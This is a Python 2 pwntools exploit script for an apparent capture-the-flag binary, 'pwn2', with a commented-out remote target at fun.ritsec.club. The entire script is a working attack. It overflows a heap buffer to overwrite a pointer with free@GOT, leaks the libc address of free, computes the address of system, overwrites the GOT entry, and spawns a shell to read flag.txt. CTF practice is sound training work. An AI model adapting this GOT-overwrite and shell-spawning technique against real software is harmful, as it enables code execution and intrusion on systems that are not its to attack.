#!/usr/bin/python2
from pwn import *
from binascii import hexlify

def add(length, name, age):
    p.sendlineafter("choice: ", "1")
    p.sendlineafter("length: ", str(length))
    p.sendlineafter("name: ", name)
    p.sendlineafter("age: ", str(age))

def edit(index, length, name, age):
    p.sendlineafter("choice: ", "2")
    p.sendlineafter("index (0-based): ", str(index))
    p.sendlineafter("length: ", str(length))
    p.sendlineafter("name: ", name)

def view(index):
    p.sendlineafter("choice: ", "3")
    p.sendlineafter("index (0-based): ", str(index))

def remove(index):
    p.sendlineafter("choice: ", "4")
    p.sendlineafter("index (0-based): ", str(index))


printPerson = 0x080ebb10
free_GOT    = 0x08191028
with context.quiet:
    p = process('./pwn2', env = {'LD_PRELOAD': './libc.so.6'})
    #p = remote('fun.ritsec.club', 1337)

    add(0x16, "AAAA", 1) 
    add(0x16, "BBBB", 2) 
    add(0x16, "CCCC", 3) 
    add(0x16, "/bin/sh\0", 4) 

    #Overflow and overwrite P[2]->name ("CCCC\n") with free@GOT
    edit(1, 
         0x30, 
         "B"*0x20 + p32(printPerson)+p32(free_GOT), 
         2)

    #Leak free@LIBC
    view(2)
    leak = hexlify(p.recvuntil("\nAge").split()[1][0:4])
    #Format, flip endianness etc
    free_LIBC = int("0x"+"".join(reversed([leak[i:i+2] for i in range(0, len(leak), 2)])), 16)
    print "free@LIBC: %s" % hex(free_LIBC)

    #Calculate system@LIBC
    system_LIBC = free_LIBC - 0x35e10
    print "system@LIBC: %s" % hex(system_LIBC)

    #Overwrite free@GOT's ptr to free@LIBC
    #with system@LIBC
    edit(2, 0x4, p32(system_LIBC), 3)

    #Execute system("/bin/sh")
    remove(3)

    p.sendline("cat flag.txt")
    p.interactive()

